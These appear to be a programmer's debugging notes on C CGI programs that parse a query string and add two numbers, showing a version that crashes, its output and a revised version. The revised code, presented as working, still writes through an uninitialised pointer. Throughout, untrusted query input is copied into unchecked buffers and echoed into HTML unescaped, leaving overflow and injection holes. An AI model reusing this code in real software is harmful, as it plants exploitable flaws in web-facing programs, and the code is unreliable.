for(x=0;str[x];x++) if(str[x] == '+') str[x] = ' '; } int rind(char *s, char c) { register int x; for(x=strlen(s) - 1;x != -1; x--) if(s[x] == c) return x; return -1; } int getline(char *s, int n, FILE *f) { register int i=0; while(1) { s[i] = (char)fgetc(f); if(s[i] == CR) s[i] = fgetc(f); if((s[i] == 0x4) || (s[i] == LF) || (i == (n-1))) { s[i] = '\0'; return (feof(f) ? 1 : 0); } ++i; } } void send_fd(FILE *f, FILE *fd) { int num_chars=0; char c; while (1) { c = fgetc(f); if(feof(f)) return; fputc(c,fd); } } ==> addc.c <== /* addc.cgi CGI test with c language */ #include <stdio.h> void getword(char *word, char *line, char stop) { int x = 0, y; for(x=0;((line[x]) && (line[x] != stop));x++) word[x] = line[x]; word[x] = '\0'; if(line[x]) ++x; y=0; while(line[y++] = line[x++]); } char *makeword(char *line, char stop) { int x = 0,y; char *word = (char *) malloc(sizeof(char) * (strlen(line) + 1)); for(x=0;((line[x]) && (line[x] != stop));x++) word[x] = line[x]; word[x] = '\0'; if(line[x]) ++x; y=0; while(line[y++] = line[x++]); return word; } main() { int cv[5], a, b; char *cl[5], *q ; printf("Content-type: text/html\n\n"); printf("<html><head><title>add a+b</title></head>"); printf("<body bgcolor=""white"">"); printf("<h2>CGI Test Written by C Language: add two numbers.</h2>"); printf("REMOTE_ADDR : %s<br>", getenv("REMOTE_ADDR")); printf("SERVER_NAME : %s<br>", getenv("SERVER_NAME")); printf("SERVER_ADDR : %s<br>", getenv("SERVER_ADDR")); printf("HTTP_USER_AGENT : %s<br>", getenv("HTTP_USER_AGENT")); q = getenv("QUERY_STRING"); printf("QUERY_STRING : %s<br>\n", q); getword(cl,q,'&'); getword(cv,cl,'='); a = atoi(cl); printf("%s = %d<br>\n", cv, a); getword(cl,q,'&'); getword(cv,cl,'='); b = atoi(cl); printf("%s = %d<br>\n", cv, b); printf("sum = %d<br>\n", a+b); printf("</body>\n</html>"); } *** Error *** /* addc.cgi CGI test with c language */ #include <stdio.h> main() { int cv[5], i, j, a, b; char *var, *v, *query; printf("Content-type: text/html\n\n"); printf("<html><head><title>add a+b</title></head>"); printf("<body bgcolor=""white"">"); printf("<h2>CGI Test Written by C Language: add two numbers.</h2>"); printf("REMOTE_ADDR : %s<br>", getenv("REMOTE_ADDR")); printf("SERVER_NAME : %s<br>", getenv("SERVER_NAME")); printf("SERVER_ADDR : %s<br>", getenv("SERVER_ADDR")); printf("HTTP_USER_AGENT : %s<br>", getenv("HTTP_USER_AGENT")); // query = getenv("QUERY_STRING"); query = "a=1&b=8"; printf("QUERY_STRING : %s<br>\n", query); for (i=0; ((query[i]) && (query[i]!='&')); i++) var[i] = query[i]; var[i] = '\0'; if (query[i]) ++i; j = 0; // while (query[j++] = query[i++]); while (v[j++] = query[i++]); query = v; printf("2. %s : %s<br>\n", var, query); for (i=0; ((var[i]) && (var[i]!='=')); i++) v[i] = var[i]; v[i] = '\0'; if (var[i]) ++i; j = 0; // while(var[j++] = var[i++]); while (query[j++]=var[i++]); printf("3. %s = %s<br>\n", v, query); a = atoi(var); printf("4. %s : %d<br>\n", v, a); printf("</body>\n</html>"); } :!gcc ac.c; ./a.out Content-type: text/html <html><head><title>add a+b</title></head><body bgcolor=white><h2>CGI Test Written by C Language: add two numbers.</h2>REMOTE_ADDR : (null)<br>SERVER_NAME : (null)<br>SERVER_ADDR : (null)<br>HTTP_USER_AGENT : (null)<br>QUERY_STRING : a=1&b=8<br> 2. a=1 : b=8<br> 3. 1 = 1<br> Segmentation fault (core dumped) shell returned 139 *** Cause: char *var, *v, *query overlapped in processing while(...) =================================== ==>addc.c<== /* addc.c CGI test with c language */ #include <stdio.h> main() { int i, j, a, b; char *var = (char *) malloc(sizeof(char)*130 ); char *v = (char *) malloc(sizeof(char)*70 ); char *query = (char *) malloc(sizeof(char)*256 ); char *t; printf("Content-type: text/html\n\n"); printf("<html><head><title>add a+b</title></head>"); printf("<body bgcolor=""white"">"); printf("<h2>CGI Test Written by C Language: add two numbers.</h2>"); query = getenv("QUERY_STRING"); printf("QUERY_STRING : %s<br>\n", query); for (i=0; ((query[i]) && (query[i]!='&')); i++) var[i] = query[i]; var[i] = '\0'; if (query[i]) ++i; j = 0; // while (query[j++] = query[i++]); while (t[j++] = query[i++]); query = t; for (i=0; ((var[i]) && (var[i]!='=')); i++) v[i] = var[i]; v[i] = '\0'; if (var[i]) ++i; j = 0; while(var[j++] = var[i++]); a = atoi(var); printf(" a = %d<br>\n", a); for (i=0; ((query[i]) && (query[i]!='&')); i++) var[i] = query[i]; var[i] = '\0'; if (query[i]) ++i; j = 0; while (v[j++] = query[i++]); query = v; for (i=0; ((var[i]) && (var[i]!='=')); i++) v[i] = var[i]; v[i] = '\0'; if (var[i]) ++i; j = 0; while(var[j++] = var[i++]); b = atoi(var); printf(" b = %d<br>\n", b); printf(" sum = %d<br>\n", a+b); printf("</body>\n</html>"); } http://rgall.com/cgi-bin/addc?a=1&b=2 CGI Test Written by C Language: add two numbers. QUERY_STRING : a=1&b=2 a = 1 b = 2 sum = 3